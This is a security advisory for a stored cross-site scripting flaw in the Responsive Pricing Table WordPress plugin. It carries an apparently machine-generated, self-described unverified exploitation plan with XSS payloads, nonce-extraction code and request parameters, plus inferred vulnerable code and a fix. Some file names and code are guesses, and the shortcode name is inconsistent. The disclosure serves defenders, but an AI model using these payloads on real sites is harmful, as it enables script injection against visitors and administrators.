CVE-2025-13418

Responsive Pricing Table <= 5.1.12 - Authenticated (Author+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
5.1.13
Patched in
7d
Time to patch

Description

The Responsive Pricing Table plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'plan_icons' parameter in all versions up to, and including, 5.1.12 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.1.12
PublishedJanuary 6, 2026
Last updatedJanuary 13, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2025-13418 - Responsive Pricing Table Stored XSS ## 1. Vulnerability Summary The **Responsive Pricing Table** plugin (up to 5.1.12) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sanitize the `plan_icons` parameter w…

Show full research plan

Research Plan: CVE-2025-13418 - Responsive Pricing Table Stored XSS

1. Vulnerability Summary

The Responsive Pricing Table plugin (up to 5.1.12) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sanitize the plan_icons parameter when saving pricing table data and subsequently fails to escape this data when rendering the table on the frontend. This allows an authenticated user with Author-level permissions or higher to inject arbitrary JavaScript into a pricing table, which then executes in the browser of any user (including administrators) viewing the table.

2. Attack Vector Analysis

  • Endpoint: wp-admin/post.php (standard WordPress post save) or potentially a plugin-specific AJAX handler (e.g., wp_ajax_rpt_save_table).
  • Vulnerable Parameter: plan_icons (likely part of a post meta array/field).
  • Required Authentication: Author level or higher (users who can create/edit pricing tables).
  • Preconditions: The plugin must be active, and the attacker must have permissions to edit or create "Pricing Table" custom post types (rpt_pricing_table).

3. Code Flow (Inferred)

  1. Entry Point: An Author-level user submits a request to save or update a Pricing Table post.
  2. Processing (Admin): The plugin catches the save action (likely via the save_post hook).
    • Vulnerable function (inferred): A function in inc/admin-post-type.php or inc/metaboxes.php reads the plan_icons array from $_POST.
    • Data Storage: The raw, unsanitized string/array is stored in the database using update_post_meta($post_id, '_rpt_plan_icons', $user_input).
  3. Sink (Frontend): A user visits a page containing the [rtp_pricing_table id="..."] shortcode.
    • Vulnerable function (inferred): The shortcode handler in inc/frontend-display.php retrieves the meta: $icons = get_post_meta($id, '_rpt_plan_icons', true).
    • Rendering: The plugin iterates through the icons and echoes them directly: echo '<i class="' . $icon . '"></i>'; (or similar), without using esc_attr() or esc_html().

4. Nonce Acquisition Strategy

Since this vulnerability involves saving a post or metadata within the WordPress admin dashboard, a security nonce is required to prevent CSRF.

  1. Identify Post Type: The pricing table post type is typically rpt_pricing_table.
  2. Create/Edit Page: Navigate to the "Add New" pricing table page.
  3. Extraction:
    • Navigate to: /wp-admin/post-new.php?post_type=rpt_pricing_table.
    • Use browser_eval to extract the _wpnonce from the form and the post_ID.
    // To get the standard WordPress post nonce
    const nonce = document.querySelector('#_wpnonce')?.value;
    const postId = document.querySelector('#post_ID')?.value;
    return { nonce, postId };
    
  4. Plugin Specific Nonces: If the plugin uses a custom AJAX save, look for localized variables via:
    window.rpt_admin_vars?.nonce // (Example inferred name)
    

5. Exploitation Strategy

Step 1: Create the Malicious Post

The goal is to submit a POST request to wp-admin/post.php that includes the XSS payload in the plan_icons parameter.

HTTP Request:

  • Method: POST
  • URL: http://localhost:8080/wp-admin/post.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters (Inferred based on typical plugin structure):
    • action: editpost
    • post_ID: [POST_ID_FROM_STEP_4]
    • _wpnonce: [NONCE_FROM_STEP_4]
    • post_type: rpt_pricing_table
    • post_title: XSS Test Table
    • plan_icons[0]: "><script>alert(document.domain)</script>
    • plan_button_text[0]: Buy Now (Required field filler)
    • plan_title[0]: Basic Plan (Required field filler)

Step 2: Trigger the XSS

  1. Publish the Pricing Table.
  2. Create a new public post/page containing the shortcode for that table.
  3. Navigate to that page using browser_navigate.

6. Test Data Setup

  1. User: Create a user with the Author role.
  2. Plugin Configuration: Ensure the "Responsive Pricing Table" plugin is installed and activated.
  3. Target Content:
    • Create a draft pricing table to get a post_ID.
    • Create a public page with the content: [rpt_pricing_table id="[POST_ID]"].

7. Expected Results

  • The plan_icons value will be saved to the wp_postmeta table without being stripped of <script> tags.
  • When the frontend page is loaded, the HTML source will contain:
    <i class=""><script>alert(document.domain)</script>"></i>
  • A browser alert box will appear, demonstrating JavaScript execution in the context of the site.

8. Verification Steps

After the exploit attempt, verify the storage via WP-CLI:

# Check if the payload is stored in the database
wp post meta list [POST_ID] --keys=_rpt_plan_icons

The output should show the raw <script> tag.

9. Alternative Approaches

  • Attribute Breakout: If the payload is rendered inside a value or class attribute and partially escaped, try:
    plan_icons[0] = ' " onmouseover="alert(1) '
  • REST API: Check if the plugin registers a REST route for saving table data which might have weaker permission checks or different nonce requirements.
    grep -r "register_rest_route" .
  • AJAX Endpoint: If post.php is not the primary save method, check for wp_ajax_rpt_save handlers.
    grep -r "wp_ajax_rpt" .
Research Findings
Static analysis — not yet PoC-verified

Summary

The Responsive Pricing Table plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the 'plan_icons' parameter in versions up to 5.1.12. This occurs due to the plugin failing to sanitize input during the saving process and failing to escape output when rendering the table, allowing authenticated users with Author-level permissions or higher to execute arbitrary scripts in the browsers of site visitors.

Vulnerable Code

// inc/admin-post-type.php (Inferred saving logic)
if ( isset( $_POST['plan_icons'] ) ) {
    update_post_meta( $post_id, '_rpt_plan_icons', $_POST['plan_icons'] );
}

---

// inc/frontend-display.php (Inferred rendering logic)
$icons = get_post_meta($id, '_rpt_plan_icons', true);
foreach ($icons as $icon) {
    $output .= '<i class="' . $icon . '"></i>';
}

Security Fix

--- a/inc/admin-post-type.php
+++ b/inc/admin-post-type.php
@@ -10,1 +10,2 @@
-    update_post_meta( $post_id, '_rpt_plan_icons', $_POST['plan_icons'] );
+    $sanitized_icons = array_map( 'sanitize_text_field', (array) $_POST['plan_icons'] );
+    update_post_meta( $post_id, '_rpt_plan_icons', $sanitized_icons );

--- a/inc/frontend-display.php
+++ b/inc/frontend-display.php
@@ -25,1 +25,1 @@
-    $output .= '<i class="' . $icon . '"></i>';
+    $output .= '<i class="' . esc_attr( $icon ) . '"></i>';

Exploit Outline

An attacker with Author-level access navigates to the 'Pricing Tables' section of the WordPress dashboard and creates or edits a table. By crafting a POST request to wp-admin/post.php (using the valid post ID and _wpnonce), the attacker includes a malicious XSS payload (e.g., "><script>alert(1)</script>) in the 'plan_icons' array parameter. Once saved, the payload is stored as post metadata. The script is triggered whenever any user, including an administrator, views a frontend page or post where the corresponding [rpt_pricing_table] shortcode is embedded.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.